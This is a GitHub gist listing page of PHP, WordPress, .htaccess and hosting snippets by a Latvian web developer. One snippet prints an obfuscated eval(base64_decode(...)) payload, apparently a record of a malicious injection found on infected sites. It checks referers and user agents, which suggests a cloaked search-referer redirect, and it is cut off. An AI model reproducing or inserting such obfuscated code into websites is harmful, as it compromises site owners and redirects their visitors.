Skip to content

Instantly share code, notes, and snippets.

View rolandinsh's full-sized avatar
🧔
Remote developer (LEMP, Node.js, Neo4j [graph])

Rolands rolandinsh

🧔
Remote developer (LEMP, Node.js, Neo4j [graph])
View GitHub Profile
@rolandinsh
rolandinsh / gist:3828107
Created October 3, 2012 16:32
WWW un bez WWW lapa ar .htaccess
# info: http://darbi.mediabox.lv/?p=444
# noņem www domēna sākumā
RewriteCond %{HTTP_HOST} ^www.mediabox.lv$ [NC]
RewriteRule ^(.*)$ http://mediabox.lv/$1 [R=301,L]
# pievieno www domēna sākumā
RewriteCond %{HTTP_HOST} ^mediabox.lv$ [NC]
RewriteRule ^(.*)$ http://www.mediabox.lv/$1 [R=301,L]
@rolandinsh
rolandinsh / gist:3926886
Created October 21, 2012 13:01
PHP error log and report
<?php
/* atkļūdošana PHP */
ini_set("log_errors","1");
ini_set("error_log","very_secret_log_file.txt");
ini_set("display_errors","0"); /* test enviroment = 1 */
error_reporting(E_ALL); /* http://lv1.php.net/function.error-reporting.php */
<?php
// vairākos failos un (cirslis|cauna).sigmanet.lv
// sermulis.sigmanet.lv pagaidām "tīrs"
// citi sabojātie kodi nav ievietoti!
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0
@rolandinsh
rolandinsh / gist:4161822
Created November 28, 2012 15:01
meta-box select
<?php
$prefix = 'studystart_';
// global $meta_boxes;
$meta_boxes = array();
// First meta box
$meta_boxes[] = array(
'id' => 'skola',
'title' => __('School','studystart'),
'pages' => array( 'skola',),
'context' => 'normal',
@rolandinsh
rolandinsh / gist:4256221
Created December 11, 2012 05:57
WPML: default first in language switcher
<?php
/*
Making the default first in WPML's language switcher
via http://rahmetli.info/en/making-the-default-first-in-wpmls-language-switcher/
@Todo rolandinsh: clean-up and update
*/
// Get language array
$list = icl_get_languages('skip_missing=1&orderby=id&order=asc');
@rolandinsh
rolandinsh / gist:4270786
Created December 12, 2012 19:27
install a free startssl certificate in Plesk
in case it get lost http://www.jordicals.com/2010/04/how-to-install-a-free-startssl-certificate-in-plesk/
Here I leave you a trick about how to install a free startssl certificate in Plesk.
1 .- Validate in Plesk, go to the domain and then click to certificates.
2 .- Fill certificate data form (I recommend using 2048-bit), accept and send the request. This will generate the CSR key and private key.
3 .- Go to Startssl.com, make an account and go to the control panel. The first thing you must do is validate the corresponding domain at option validations option wizard -> domain name validation.
@rolandinsh
rolandinsh / gist:4387391
Last active December 10, 2015 05:28
function my_script() in premium code
// hate when premium WordPress themes starts with:
function my_script() {
// ... some code
}
// ....
function my_script2(){
//... some other code
}
@rolandinsh
rolandinsh / gist:4483857
Last active December 10, 2015 19:48
WordPress index.php file Variant A
<?php
get_header();
do_action('smc_before_main_content');
if(have_posts()):
do_action('some_other_action_before');
while ( have_posts() ) : the_post();
get_template_part( 'content', get_post_type() );
@rolandinsh
rolandinsh / gist:4483897
Last active December 10, 2015 19:48
WordPress index.php B variant
<?php
get_header();
get_template_part( 'middle');
get_footer();
/*
Copyright 2013 Rolands Umbrovskis ( http://umbrovskis.com/ )
Released under the http://simplemediacode.com/license/
*/
@rolandinsh
rolandinsh / gist:4548975
Created January 16, 2013 17:26
WooCommerce: Add a product to cart programmatically via JS or PHP
<!--
source: http://wordpress.stackexchange.com/a/53516/7577
-->
<a id="buy" href="#">Buy this!</a>
<script>
$('#buy').click(function(e) {
e.preventDefault();
addToCart(19);
return false;
});